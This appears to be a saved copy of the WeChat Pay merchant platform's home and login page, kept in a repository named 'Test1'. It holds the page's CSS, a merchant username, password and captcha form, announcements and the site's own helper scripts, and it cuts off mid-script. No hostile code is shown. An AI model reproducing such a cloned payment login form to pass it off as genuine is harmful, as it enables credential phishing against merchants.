opoplmm / Test1<html><head> <meta name="baidu-site-verification" content="1jPmULtLtZ"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=9"> <title>微信支付 - 中国领先的第三方支付平台 | 微信支付提供安全快捷的支付方式</title> <meta name="keywords" content="微信支付,微信,支付,移动支付,手机支付,微支付,微信支付开通,微信支付接入,微信支付申请,微信支付官网,微信支付商户平台,微信支付接口开发,微信支付接口申请,微信支付客服,微信支付登录"> <meta name="description" content="微信支付是腾讯公司的支付业务品牌,微信支付提供公众号支付、APP支付、扫码支付、刷卡支付等支付方式。微信支付结合微信公众账号,全面打通O2O生活消费领域,提供专业的互联网+行业解决方案,微信支付支持微信红包和微信理财通,是移动支付的首选。"> <link rel="shortcut icon" href="https://wx.gtimg.com/core/favicon.ico" type="image/x-icon"> <style> body,ol,ul,h1,h2,h3,h4,h5,h6,p{margin:0;padding:0;} body{min-width:1200px;font:14px "Helvetica Neue","Hiragino Sans GB","Microsoft YaHei","\9ED1\4F53",Arial,sans-serif;background:#fff;-webkit-text-size-adjust:100%;color:#222;} a{color:#459ae9;text-decoration:none;} a:hover{color:#459ae9;text-decoration:underline;} i,em{font-style:normal;} strong{font-weight:normal;} li{list-style:none;} img{border:0;vertical-align:middle;} table{border-collapse:collapse;border-spacing:0;} .hide{display:none;} .red{color:#ff0000;} .login-form label,.cbx,.guide-main-li-ico,.warn,.ico-new,.ico-right{background:url(https://wx.gtimg.com/pay/img/home/base.png?v=20160112) no-repeat;} .clr:after{content:".";clear:both;display:block;height:0;visibility:hidden;} .clr{zoom:1;} .hide{display:none;} .vs{margin:0 10px;font-family:arial;color:#ccc;} .cbx{width:16px;height:16px;display:inline-block;margin:-3px 6px 0 0;*margin-top:0;vertical-align:middle;cursor:pointer;overflow:hidden;} .cbx{background-position:0 -54px;} .cbx-on{background-position:0 -80px;display:inline-block;} .wrap{width:1025px;margin:0 auto;overflow:hidden;zoom:1;} .container{margin:25px auto;} .topbar{height:33px;line-height:33px;color:#999;background:#f6f6f6;border-bottom:1px solid #dcdcdc;font:12px/33px tahoma,arial,"Hiragino Sans GB",\5B8B\4F53,sans-serif;} .topbar a{color:#00c901;} .header{position:relative;z-index:99;background-color:#fff;/*border-top:4px solid #44b549;*/border-bottom:1px solid #d9dadc;} .header .wrap{height:60px;position:relative;overflow:visible;z-index:999} .header .logo{float:left;width:232px;overflow:hidden;} .header .logo a{display:block;height:40px;margin-top:12px;text-indent:-999px;background:url(https://wx.gtimg.com/pay/img/common/logo.png?v=20160114) no-repeat} .header .link{float:right;line-height:60px;} .header .link a{color:#222;} .header .link a:hover{color:#459ae9} .header .pole-msg{display:inline-block;*display:inline;position:relative;} .header .pole-msg a.content-us{display:inline-block;width:75px;height:60px;position:relative;z-index:9;} .header .pole-msg a.content-us:hover{color:#222;text-decoration:none;} .header .pole-msg.show-popup a.content-us{background:#fff;border-left:1px solid #e7e7eb;border-right:1px solid #e7e7eb;padding-left:16px;margin:0 -1px 0 -17px;*left:-17px;} .header .popup{display:none;position:absolute;top:59px;left:-97px;border:1px solid #e7e7eb;z-index:8;width:131px;} .header .show-popup .popup{display:block;line-height:26px;padding:14px 20px;background:#fff;} .header .show-popup .popup p{font-size:12px;color:#999} .header .show-popup .popup p.tel{color:#333333;font-size:17px;} .header .show-popup .popup .bor-top{border-top:1px solid #e7e7eb;margin-top:10px;padding-top:10px;} .header .dropdown-arrow{position:absolute;right:6px;top:29px;border-color:#c2c2c2 transparent transparent;border-style:solid dashed dashed;border-width:4px 4px 0;font-size:0;height:0;width:0;line-height:0;} .header .show-popup .dropdown-arrow{-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg);-webkit-transition:all .25s ease 0s;-moz-transition:all .25s ease 0s;-o-transition:all .25s ease 0s;transition:all .25s ease 0s;} .footer{text-align:center;padding-bottom:20px;color:#999999;font:12px/1.6 tahoma,arial,"Hiragino Sans GB",\5B8B\4F53,sans-serif;} .footer p{margin-bottom:8px;} .footer a{color:#999999;} .footer a:hover{color:#459ae9} .banner{height:410px;position:relative;} .banner .wrap-login{position:relative;z-index:2;} .banner .login{float:right;width:314px;margin-top:20px;padding:15px 15px 20px;background:rgba(255,255,255,0.8);position:static;border:1px solid #fff;} @media \0screen\,screen\9{ .banner .login{background:#fff;filter:alpha(opacity=80);*zoom:1;position:static;} .banner .login .login-in{position:relative;} } .banner .login h2{margin-bottom:5px;font-size:20px;font-weight:400;} .banner .login h2 strong{display:none;} .banner .login a{color:#333} .banner .login a:hover{color:#459ae9} .banner .login .tips-error a,.banner .login .tips-warn a{color:#459ae9} .banner .login .tips-error{line-height:24px;font-size:13px;} .banner .login .tips-warn .warn{float:left;width:16px;height:16px;background-position:-24px 0;margin-top:4px;} .banner .login .tips-warn p{float:right;color:#b29b4a;width:290px;font-size:13px;line-height:24px} .banner .login-form .login-mainly{margin-top:10px;margin-bottom:10px;} .banner .login-form .login-account,.banner .login-form .login-password{height:42px;line-height:42px;padding:3px 0;background:#fff;border-left:1px solid #cecece;border-top:1px solid #cecece;position:relative;padding-left:54px;} .banner .login-form label{width:20px;height:20px;overflow:hidden;text-indent:-999px;position:absolute;left:20px;top:30%} .banner .login-form input{width:100%;padding:11px 0;border:0;box-shadow:0;outline:0;vertical-align:middle;font-family:"Microsoft YaHei";font-size:14px;} .banner .login-form .ico-account{background-position:0 0;} .banner .login-form .ico-password{background-position:0 -26px;} .banner .login-form .login-password{margin-top:10px;} .banner .login-password-on .login-account{border-bottom:none;} .banner .login-verify{margin-bottom:10px;height:38px;} .banner .login-verify input{width:100px;padding:10px;vertical-align:middle;vertical-align:middle;border-left:1px solid #cecece;border-top:1px solid #cecece;} .banner .login-verify input:focus{border-left:1px solid #cecece;border-top:1px solid #cecece;} .banner .login-verify .img-verify{width:100px;height:40px;margin:0 11px;vertical-align:middle;} .banner .login-memory{margin-bottom:20px;overflow:hidden;zoom:1;} .banner .login-memory .memory-account{float:left;} .banner .login-memory .forget-password{float:right;} .banner .login .btn-login{display:inline-block;width:100%;height:45px;line-height:45px;background-color:#00c800;color:#fff;border:1px solid #44b549;text-align:center;font-size:20px;} .banner .login .btn-login:hover{text-decoration:none;background:#2F9833;color:#fff;} .guide-main-li-ico{display:inline-block;width:73px;height:57px;} .ico-mp{background-position:2px -159px;} .ico-app{background-position:8px -366px;} .ico-code{background-position:4px -230px;} .ico-shuaka{background-position:8px -294px;} /*最新公告*/ .cms-notice{margin:5px 0 -7px;position:relative;} .cms-notice h2,.cms-notice ul,.cms-notice p{display:inline-block;line-height:20px;} .cms-notice h2{float:left;background:#595B5B;color:#fff;font-size:14px;padding:0px 4px;} .cms-notice li{float:left;margin-left:18px;width:275px;} .cms-notice a{color:#222} .cms-notice a:hover{color:#459ae9} .cms-notice li span.time{float:left;color:#999;margin-right:5px;} .cms-notice li a{display:inline-block;max-width:205px;_width:205px;height:21px;white-space:nowrap;overflow-x:hidden;text-overflow:ellipsis;} .cms-notice p{float:right;} .cms-notice p a{color:#222;} .cms-notice li .ico-new{position:absolute;display:inline-block;width:17px;height:9px;margin-left:5px;background:url(https://wx.gtimg.com/mch/img/ico-new.png);} .cms-notice .more{position:absolute;top:0;right:0;} .cms-notice .more .ico-right{display:inline-block;width:11px;height:9px;margin:0 0 0 3px;vertical-align:middle;background-position:-4px -135px;} /*四大支付方式*/ .title{margin-top:45px;} .title h2,.title .line,.title .pay-btn{display:inline-block;} .title h2{font-size:20px;font-weight:normal;color:#333;background:#fff;position:absolute;margin-top:-15px;padding-right:10px;} .title .pay-btn{position:absolute;right:0;margin-top:-14px;background:#fff;padding-left:5px;} .title .pay-btn a{display:block;border:1px solid #3e3a39;padding:2px 5px 2px 17px;color:#333333;} .title .pay-btn a:hover{text-decoration:none} .through{height:326px;margin-top:20px;padding-bottom:35px;border-bottom:1px dotted #ccc;background:url(https://wx.gtimg.com/pay/img/home/qrcode.png?v=20150602) center top no-repeat;} .through li{font-size:16px;margin-top:58px;margin-left:68px;position:absolute;} .through li.l02{margin-top:143px;} .through li.l03{margin-top:228px;} .through li.l04{margin-left:748px;} .through li.l05{margin-top:143px;margin-left:755px;} .through li.l06{margin-top:228px;margin-left:755px;} .guide-main{margin-top:37px;margin-bottom:5px;} .guide-main li{width:240px;height:266px;background-color:#FFFFFF;float:left;margin-right:21px;_margin-right:20px;text-align:center} .guide-main .guide-main-li-4{margin-right:0;} .guide-main li a{width:239px;height:266px;display:block;position:relative;border:1px solid #e5e5e5;} .guide-main li .title{display:block;color:#000000;font-size:16px;line-height:1;margin-top:25px;font-weight:normal} .guide-main li .info{display:block;color:#999999;font-size:12px;line-height:1;margin-top:14px;} .guide-main li .info .strong{font-weight:bold;} .guide-main-li-ico{margin-top:72px;-webkit-transition:margin-top 0.2s linear;-moz-transition:margin-top 0.2s linear;-ms-transition:margin-top 0.2s linear;-o-transition:margin-top 0.2s linear;transition:margin-top 0.2s linear;} .guide-main li .btngreen{display:none;margin:20px auto 0;width:191px;height:35px;line-height:35px;background-color:#00C800;font-size:14px;color:#FFFFFF;border-bottom:1px solid #00A000;} .guide-main li .btngray{background-color:#E6E6E6!important;color:#666666!important;border-bottom:1px solid #CCCCCC;} .guide-main-li-3 .tips{display:none;font-size:12px;color:#FF9900;line-height:1;} .guide-main-li-3 .tips .ico-info-orange{vertical-align:-3px;*vertical-align:1px;margin-right:5px;margin-top:12px;} .guide-main li a:hover{border:1px solid #00c800;text-decoration:none} .guide-main li a:hover .btngreen{display:block;} .guide-main li a:hover .tips{display:block;} .guide-main li a:hover .guide-main-li-ico{margin-top:45px;-webkit-transition:margin-top 0.2s linear;-moz-transition:margin-top 0.2s linear;-ms-transition:margin-top 0.2s linear;-o-transition:margin-top 0.2s linear;transition:margin-top 0.2s linear;} .guide-link{padding-top:120px;padding-bottom:58px;position:relative;height:24px;} .guide-link-a{color:#00C800;font-size:18px;height:24px;width:162px;} .guide-link-a .ico-arrow-right{vertical-align:-2px;*vertical-align:3px;margin-left:8px;cursor:pointer;} .guide-link-code{display:none;position:absolute;border:1px solid #C9C9C9;padding:6px;background-color:#FFFFFF;width:105px;height:105px;top:67px;left:50%;margin-left:90px;} .show-code .guide-link-code{display:block;} .show-code .ico-arrow-right{-webkit-transform:scale(-1, 1);-moz-transform:scale(-1, 1);-ms-transform:scale(-1, 1);-o-transform:scale(-1, 1);transform:scale(-1, 1);} /*图片轮播*/ .cms-banner{position:absolute;top:0;width:100%;height:410px;overflow:hidden; left:0} .cms-banner a{display:block;width:100%;height:410px;text-indent:-9999px;} .cms-banner ul li{position:absolute;top:0;width:100%;height:410px;background-position:center;background-repeat:no-repeat;} .cms-banner ol{position:absolute;z-index:9;bottom:0px;display:table;left:50%;margin-left:-73px;padding:16px 16px 16px 0;} .cms-banner ol li{float:left;width:10px;height:10px;margin-left:16px;text-indent:-9999px;background:#fff;border-radius:5px;overflow:hidden;} .cms-banner ol li.active{background:#44B549;} </style> </head> <body class="index" onclick="pgvWatchClick();"> <!-- 头部[[ --> <!-- 头部 [[ --> <script>var _speedMark=Date.now()</script> <!--小于ie7 跳转到错误页面 --> <!--[if lt IE 7]> <script> window.location.href='https://pay.weixin.qq.com/public/error/browser_tips'; </script> <![endif]--> <div class="topbar"> <div class="wrap"> <span onclick="pgvSendClick({hottag:'PAY.HOME.NAVI.CHINA_BUSINESS'});">境内业务</span> <i class="vs">|</i> <a onclick="pgvSendClick({hottag:'PAY.HOME.NAVI.INTERNATIONAL_BUSINESS'});" href="https://pay.weixin.qq.com/index.php/public/wechatpay" target="_blank">International business</a> </div> </div> <div class="header"> <div class="wrap"> <div class="logo"><h1><a href="/index.php/core/account" title="微信支付商户平台">微信支付商户平台</a></h1></div> <div class="link"> <a href="https://pay.weixin.qq.com/partner/public/home" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.NAVI.SERVICE_PROVIDER'});"><strong class="hide">微信支付</strong>服务商</a> <i class="vs">|</i> <a href="https://pay.weixin.qq.com/wxzf_guide/index.shtml" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.NAVI.WXZF_GUIDE'});"><strong class="hide">微信支付</strong>接入指引</a> <i class="vs">|</i> <a href="https://pay.weixin.qq.com/wiki/doc/api/index.php" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.NAVI.API_DOC'});"><strong class="hide">微信支付</strong>开发文档</a> <i class="vs">|</i> <div class="pole-msg showPopUpJS"> <a class="content-us" href="javascript:;" onclick="pgvSendClick({hottag:'PAY.HOME.NAVI.HELP_CENTER'});">帮助中心<span class="dropdown-arrow"></span></a> <div class="popup"> <div class="inner"> <ul> <li> <p class="tel">客服:95017</p> <p>周一到周五 09:00-18:00</p> </li> <li class="bor-top"> <a href="http://kf.qq.com/product/wechatpaymentmerchant.html" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.NAVI.QQ_KEFU'});">自助服务专区</a> </li> </ul> </div> </div> </div> </div> </div> </div> <script src="https://wx.gtimg.com/third/jquery/jquery-1.7.min.js"></script> <script type="text/javascript">if(typeof $jqueryUi == "undefined"){document.write('<script type="text/javascript" src="https://wx.gtimg.com/third/jquery/jquery-ui.js"></script"+">');}</script><script type="text/javascript" src="https://wx.gtimg.com/third/jquery/jquery-ui.js"></script"+"> <script>window["MCH.common.time"]=[new Date()]</script> <script id="legos:22195" ver="22195:20140901:20160908155731" name="MCH.common" src="https://wx.gtimg.com/mch/js/ver/2014/09/mch.common.20140901.js?t=20160908155731" charset="utf-8"></script><div class="mask-layer hide" id="header-masker"></div><!--[if !IE]>|xGv00|c95d265e97fcc54b235954b5b4a712f5<![endif]--> <script>window["MCH.header.time"]=[new Date()]</script> <script id="legos:22118" ver="22118:20140422:20160620111341" name="MCH.header" src="https://wx.gtimg.com/mch/js/ver/2014/04/mch.header.20140422.js?t=20160620111341" charset="utf-8"></script><!--[if !IE]>|xGv00|da289bab2d090281ed2476547ba6b944<![endif]--> <!-- 头部 ]] --><!--[if !IE]>|xGv00|73bbdddabec4f094fcae10c51db0f883<![endif]--> <!-- 头部 ]] --> <!-- 登录[[ --> <div class="banner"> <div class="cms-banner cms-area" id="cmspic_1000" home="true"><ul><li style="opacity: 0; z-index: 0; background-image: url("https://shp.qpic.cn/mmpay/oU5xbewRJutFViafoibhr5UHrDC2mbMGDZyLEY3icMbqS2o3BoicgX18HtuYicRR0fOJM/0");"><a target="_blank" href="https://pay.weixin.qq.com/public/qrcode_pay">banner</a></li><li style="opacity: 0.248188; z-index: 0; background-image: url("https://shp.qpic.cn/mmpay/oU5xbewRJuvfQibNQiaWz5VUDocbQSYYe3hM60YBT0t6AWkzDjcIFFgQxckUUn64nQ/0");"><a target="_blank" href="http://v.qq.com/x/cover/mv3e2ecbtloy44o.html?vid=u01960zjo7r">banner</a></li><li style="opacity: 0.751812; z-index: 1; background-image: url("https://shp.qpic.cn/mmpay/oU5xbewRJuv0wHAj5rxw34SXVgoycsicBB7zpopLBoGzl6S7EicZPsOPsyfj90NG2I/0");"><a target="_blank" href="http://v.qq.com/x/cover/mv3e2ecbtloy44o.html?vid=u01960zjo7r">banner</a></li><li style="opacity: 0; z-index: 0; background-image: url("https://shp.qpic.cn/mmpay/oU5xbewRJuupH9MJ5hbqw5sMmlyyn0UnUicF2UeHLKEkCO11MnS1DoXXicX3gOwfuK/0");"><a target="_blank" href="http://v.qq.com/x/cover/mv3e2ecbtloy44o.html?vid=u01960zjo7r">banner</a></li><li style="opacity: 0; z-index: 0; background-image: url("https://shp.qpic.cn/mmpay/oU5xbewRJuuZ81jvVm2RMN2C3hBE2oKW6UjJKs99mAZRxGOdCFYkyMU8NxHLDlLQ/0");"><a target="_blank" href="http://v.qq.com/x/cover/mv3e2ecbtloy44o.html?vid=u01960zjo7r">banner</a></li></ul><ol class="dots" style="opacity: 1; z-index: 1;"><li class="dot">1</li><li class="dot">2</li><li class="dot active">3</li><li class="dot">4</li><li class="dot">5</li></ol></div> <div class="wrap"> <div class="wrap-login"> <div class="login"> <div class="login-in"> <h2><span class="hide">微信支付</span>商户登录</h2> <div class="tips-warn clr hide" id="IDBrowserSafariTips"><i class="warn"></i><p>由于Safari浏览器安全策略,如密码输入出现异常,请根据指引修改Safari浏览器配置, <a href="/help_guide/login_guide.shtml" target="_blank">查看指引</a></p></div> <div class="tips-warn clr hide" id="IDBrowserMacChromeTips"><i class="warn"></i><p> 如密码输入出现异常,请根据指引修改浏览器配置, <a href="https://pay.weixin.qq.com/index.php/public/cms/content_detail?platformType=0&lang=zh&id=29000 " target="_blank">查看指引。</a></p></div> <div class="tips-error"><i class="ico-error"></i><p id="errmsg" style="color:red"></p></div> <!-- 交互说明 1. 给样式"login-form"添加样式"login-account-on",显示账号获焦效果 2. 给样式"login-form"添加样式"login-password-on",显示密码获焦效果 --> <form class="login-form login-password-on" action="/index.php/core/home/d_login_transition" method="post"> <div class="login-mainly"> <div class="login-account"><label class="ico-account" for="" title="登录帐号">登录帐号</label><input type="text" name="username" placeholder="登录帐号" id="idUserName"></div> <div class="login-password" id="mmpayPwdEdit"><label class="ico-password" for="" title="登录密码">登录密码</label><input type="password" name="password" placeholder="登录密码" id="idPassword"></div> </div> <input type="hidden" name="return_url" value="/index.php"> <input type="hidden" name="login_type" value="0"> <input id="token" type="hidden" name="ecc_csrf_token" value="2a9b085516b87f66cb0ca18a5453bdf4"> <div class="login-verify "><input type="text" name="checkword_in" maxlength="4" placeholder="验证码"><input type="hidden" name="need_check" value="1"><img class="img-verify change-verify" src="http://captcha.qq.com/getimage?aid=755049101&rd=0.1314846018794924" style="height:40px;width:100px;"><a class="change-verify" href="#">换一张</a></div> </form> <div class="login-memory"><label id="memory_username_label" class="memory-account" for=""><i class="cbx" id="memory_username"></i>记住帐号</label><a class="forget-password" href="/index.php/public/reset_pass" onclick="pgvSendClick({hottag:'PAY.HOME.LOGIN_BOX.FORGET_PASSWORD'});">忘记密码?</a></div> <a class="btn-login" href="javascript:void(0);" id="do_login" onclick="pgvSendClick({hottag:'PAY.HOME.LOGIN_BOX.LOGIN_BUTTON'});">登录</a> </div> </div> <input id="seed" type="hidden" name="time_seed" value="31343839353931393137"> </div> </div> </div> <!-- 登录 ]] --> <!-- 内容[[ --> <div class="container"> <div class="wrap"> <!-- 最新公告[[ --> <div class="cms-notice cms-area clr" id="cmsanm_6000" home="true" link-list-id="6200"><h2>最新公告</h2><ul><li><span class="time">[03.15]</span><a target="_blank" href="/index.php/public/cms/content_detail?lang=zh&id=36602" title="3月16-17日微信支付退款业务升级维护通知">3月16-17日微信支付退款业务升级维护通知</a><i class="ico-new"></i></li><li><span class="time">[02.10]</span><a target="_blank" href="/index.php/public/cms/content_detail?lang=zh&id=41201" title="微信支付企业付款业务调整公告">微信支付企业付款业务调整公告</a></li><li><span class="time">[11.30]</span><a target="_blank" href="/index.php/public/cms/content_detail?lang=zh&id=30001" title="《商户平台使用手册》正式上线">《商户平台使用手册》正式上线</a></li></ul><p class="more"><a href="/public/cms/content_list?lang=zh&id=6200" target="_blank">更多公告>></a></p></div> <!-- 最新公告 ]] --> <!-- 四大支付方式[[ --> <div class="title clr"> <h2>接入微信支付</h2> </div> <div class="function clr"> <ul class="guide-main clr"> <li class="guide-main-li-1"> <a href="http://kf.qq.com/faq/120911VrYVrA150905zeYjMZ.html" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.APPLY.IN_APP_WEB'});"> <span class="guide-main-li-ico ico-mp"></span> <h3 class="title">公众号支付</h3> <p class="info">在微信内的商家页面上完成<em>公众号支付</em></p> <span class="btngreen">我要接入</span> </a> </li> <li class="guide-main-li-2"> <a href="http://kf.qq.com/faq/120911VrYVrA150906F3qqY3.html" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.APPLY.IN_APP'});"> <span class="guide-main-li-ico ico-app"></span> <h3 class="title">APP支付</h3> <p class="info">在APP中,调起微信进行<em>APP支付</em></p> <span class="btngreen">我要接入</span> </a> </li> <li class="guide-main-li-3"> <a href="http://kf.qq.com/faq/120911VrYVrA150906yUZze6.html" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.APPLY.QR_CODE'});"> <span class="guide-main-li-ico ico-code"></span> <h3 class="title">扫码支付</h3> <p class="info">扫描二维码进行<em>扫码支付</em></p> <span class="btngreen">我要接入</span> </a> </li> <li class="guide-main-li-4"> <a href="http://kf.qq.com/faq/120911VrYVrA150906iQjQjI.html" target="_blank" onclick="pgvSendClick({hottag:'PAY.HOME.APPLY.QUICK_PAY'});"> <span class="guide-main-li-ico ico-shuaka"></span> <h3 class="title">刷卡支付</h3> <p class="info">用户展示条码,商户扫描完成<em>刷卡支付</em></p> <span class="btngreen">我要接入</span> </a> </li> </ul> </div> <!-- 四大支付方式 ]] --> <!-- 微信支付商户通[[ --> <div class="title clr"> <h2>微信支付商户通</h2> </div> <div class="through"> <ul> <li class="l01">如何快速接入<strong>微信支付</strong>?</li> <li class="l02">了解最新的<strong>支付技术接口</strong>?</li> <li class="l03"><strong>微信商户</strong>后台操作有疑问?</li> <li class="l04"><strong>微信现金红包</strong>怎么玩?</li> <li class="l05">掌握最新的<strong>微信行业解决方案</strong>?</li> <li class="l06">获取一手的<strong>微信支付官方动态</strong>?</li> </ul> </div> <!-- 微信支付商户通 ]] --> </div> </div> <!-- 内容 ]] --> <script src="https://www.tenpay.com/v2/res/js/global/tenpayctrl_v2-min.js"></script> <script>window["MCH.tenpaycertV2.time"]=[new Date()]</script> <script id="legos:22410" ver="22410:20151023:20170106102318" name="MCH.tenpaycertV2" src="https://wx.gtimg.com/mch/js/ver/2015/10/mch.tenpaycertV2.20151023.js?t=20170106102318" charset="utf-8"></script><!--[if !IE]>|xGv00|09219d01d9d2312179afd1ffbb55230b<![endif]--><!--[if !IE]>|xGv00|8ab59df4495293a71573934cfa4d640c<![endif]--> <script>window["MCH.home.time"]=[new Date()]</script> <script id="legos:22134" ver="22134:20140516:20170105201629" name="MCH.home" charset="utf-8"> window['MCH.home.time'] && window['MCH.home.time'].push(new Date()); function $addToken(url,type,skey){var token=$getToken(skey);if(url==""||(url.indexOf("://")<0?location.href:url).indexOf("http")!=0){return url;} if(url.indexOf("#")!=-1){var f1=url.match(/\?.+\#/);if(f1){var t=f1[0].split("#"),newPara=[t[0],"&g_tk=",token,"&g_ty=",type,"#",t[1]].join("");return url.replace(f1[0],newPara);}else{var t=url.split("#");return[t[0],"?g_tk=",token,"&g_ty=",type,"#",t[1]].join("");}} return token==""?(url+(url.indexOf("?")!=-1?"&":"?")+"g_ty="+type):(url+(url.indexOf("?")!=-1?"&":"?")+"g_tk="+token+"&g_ty="+type);};var $ajax=(function(window,undefined){var oXHRCallbacks,xhrCounter=0;var fXHRAbortOnUnload=window.ActiveXObject?function(){for(var key in oXHRCallbacks){oXHRCallbacks[key](0,1);}}:false;return function(opt){var o={url:'',method:'GET',data:null,type:"text",async:true,cache:false,timeout:0,autoToken:true,username:'',password:'',beforeSend:$empty(),onSuccess:$empty(),onError:$empty(),onComplete:$empty()};for(var key in opt){o[key]=opt[key]} var callback,timeoutTimer,xhrCallbackHandle,ajaxLocation,ajaxLocParts;try{ajaxLocation=location.href;} catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href;} ajaxLocParts=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/.exec(ajaxLocation.toLowerCase())||[];o.isLocal=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/.test(ajaxLocParts[1]);o.method=(typeof(o.method)!="string"||o.method.toUpperCase()!="POST")?"GET":"POST";o.data=(typeof o.data=="string")?o.data:$makeUrl(o.data);if(o.method=='GET'&&o.data){o.url+=(o.url.indexOf("?")<0?"?":"&")+o.data;} if(o.autoToken){o.url=$addToken(o.url,"ajax");} o.xhr=$xhrMaker();if(o.xhr===null){return false;} try{if(o.username){o.xhr.open(o.method,o.url,o.async,o.username,o.password);} else{o.xhr.open(o.method,o.url,o.async);}} catch(e){o.onError(-2,e);return false;} if(o.method=='POST'){o.xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');} if(!o.cache){o.xhr.setRequestHeader('If-Modified-Since','Thu, 1 Jan 1970 00:00:00 GMT');o.xhr.setRequestHeader('Cache-Control','no-cache');} o.beforeSend(o.xhr);if(o.async&&o.timeout>0){if(o.xhr.timeout===undefined){timeoutTimer=setTimeout(function(){if(o.xhr&&callback){callback(0,1);} o.onError(0,null,'timeout');},o.timeout);} else{o.xhr.timeout=o.timeout;o.xhr.ontimeout=function(){if(o.xhr&&callback){callback(0,1);} o.onError(0,null,'timeout');};}} o.xhr.send(o.method=='POST'?o.data:null);callback=function(e,isAbort){if(timeoutTimer){clearTimeout(timeoutTimer);timeoutTimer=undefined;} if(callback&&(isAbort||o.xhr.readyState===4)){callback=undefined;if(xhrCallbackHandle){o.xhr.onreadystatechange=$empty();if(fXHRAbortOnUnload){try{delete oXHRCallbacks[xhrCallbackHandle];} catch(e){}}} if(isAbort){if(o.xhr.readyState!==4){o.xhr.abort();}} else{var status,statusText,responses;responses={headers:o.xhr.getAllResponseHeaders()};status=o.xhr.status;try{statusText=o.xhr.statusText;} catch(e){statusText="";} try{responses.text=o.xhr.responseText;} catch(e){responses.text="";} if(!status&&o.isLocal){status=responses.text?200:404;} else if(status===1223){status=204;} if(status>=200&&status<300){responses.text=responses.text.replace(/<!--\[if !IE\]>[\w\|]+<!\[endif\]-->/g,'');switch(o.type){case'text':o.onSuccess(responses.text);break;case"json":var json;try{json=(new Function("return ("+responses.text+")"))();} catch(e){o.onError(status,e,responses.text);} if(json){o.onSuccess(json);} break;case"xml":o.onSuccess(o.xhr.responseXML);break;}} else{if(status===0&&o.timeout>0){o.onError(status,null,'timeout');} else{o.onError(status,null,statusText);}} o.onComplete(status,statusText,responses);} delete o.xhr;}};if(!o.async){callback();} else if(o.xhr.readyState===4){setTimeout(callback,0);} else{xhrCallbackHandle=++xhrCounter;if(fXHRAbortOnUnload){if(!oXHRCallbacks){oXHRCallbacks={};if(window.attachEvent){window.attachEvent("onunload",fXHRAbortOnUnload);} else{window["onunload"]=fXHRAbortOnUnload;}} oXHRCallbacks[xhrCallbackHandle]=callback;} o.xhr.onreadystatechange=callback;}};})(window,undefined);function $empty(){return function(){return true;}};function $getCookie(name){var reg=new RegExp("(^| )"+name+"(?:=([^;]*))?(;|$)"),val=document.cookie.match(reg);return val?(val[2]?unescape(val[2]):""):null;};function $getToken(skey){var skey=skey?skey:$getCookie("skey");return skey?$time33(skey):"";};function $makeUrl(data){var arr=[];for(var k in data){arr.push(k+"="+data[k]);};return arr.join("&");};function $namespace(name){for(var arr=name.split(','),r=0,len=arr.length;r<len;r++){for(var i=0,k,name=arr[r].split('.'),parent={};k=name[i];i++){i===0?eval('(typeof '+k+')==="undefined"?('+k+'={}):"";parent='+k):(parent=parent[k]=parent[k]||{});}}};function $setCookie(name,value,expires,path,domain,secure){var exp=new Date(),expires=arguments[2]||null,path=arguments[3]||"/",domain=arguments[4]||null,secure=arguments[5]||false;expires?exp.setMinutes(exp.getMinutes()+parseInt(expires)):"";document.cookie=name+'='+escape(value)+(expires?';expires='+exp.toGMTString():'')+(path?';path='+path:'')+(domain?';domain='+domain:'')+(secure?';secure':'');};function $strTrim(str,code){var argus=code||"\\s";var temp=new RegExp("(^"+argus+"*)|("+argus+"*$)","g");return str.replace(temp,"");};function $time33(str){for(var i=0,len=str.length,hash=5381;i<len;++i){hash+=(hash<<5)+str.charAt(i).charCodeAt();};return hash&0x7fffffff;};function $xhrMaker(){var xhr;try{xhr=new XMLHttpRequest();}catch(e){try{xhr=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{xhr=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){xhr=null;}}};return xhr;};$namespace("MCH.home");MCH.home={tenpayEdit:''};MCH.home.init=function(){homeThat=this;homeThat.tenpayEdit=new MCH.mmpayEdit({bindObjId:"mmpayPwdEdit",width:258,height:44},{isShowFunc:MCH.home.isShowFunc,returnCallBack:MCH.home.editShowReturn},this);this.bind();Common.exdAttrBrowser();};MCH.home.isShowFunc=function(){var username=$strTrim($(".login-form").find("input[name=username]").val());if(Common.isTenpayMchByName(username)){return true;}else{return false;}};MCH.home.editShowReturn=function(editRet){var browserFunc=function(){var sys=Common.getBrowserVersion();if(sys.osType=="mac"&&sys.browserName=="Safari"){$("#IDBrowserSafariTips").removeClass("hide");}else if(sys.osType=="mac"&&sys.browserName=="Chrome"&&sys.browserVersion>="47"){$("#IDBrowserMacChromeTips").removeClass("hide");}else if(sys.osType=="windows"&&sys.browserName!="IE"){$("#IDBrowserMacChromeTips").removeClass("hide");}};try{var version=editRet.editObj.ctrl.Version.toString();if(version&&(version>1206)){return true;}else{browserFunc();}}catch(e){browserFunc();}};MCH.home.focus_fuc=function(){$(".login-form").removeClass("login-account-on");$(".login-form").addClass("login-password-on");};MCH.home.blur_fuc=function(){$(".login-form").removeClass("login-password-on");};MCH.home.enter_fuc=function(){return null;};MCH.home.ossAttrIncAPI=function(id,key){var postData='id='+id+'&key='+key;$ajax({url:'/webreport/ossattrapi',data:postData,method:'post',type:'json',async:true,onSuccess:function(data){},onError:function(msg){}});};MCH.home.userNameBlur=function(){var username=$(".login-form").find("input[name=username]").val();var length=username.length;switch(length){case 0:MCH.home.ossAttrIncAPI(63769,18);break;case 1:MCH.home.ossAttrIncAPI(63769,19);break;case 2:MCH.home.ossAttrIncAPI(63769,20);break;case 3:MCH.home.ossAttrIncAPI(63769,21);break;case 4:MCH.home.ossAttrIncAPI(63769,22);break;case 5:MCH.home.ossAttrIncAPI(63769,23);break;case 6:MCH.home.ossAttrIncAPI(63769,24);break;case 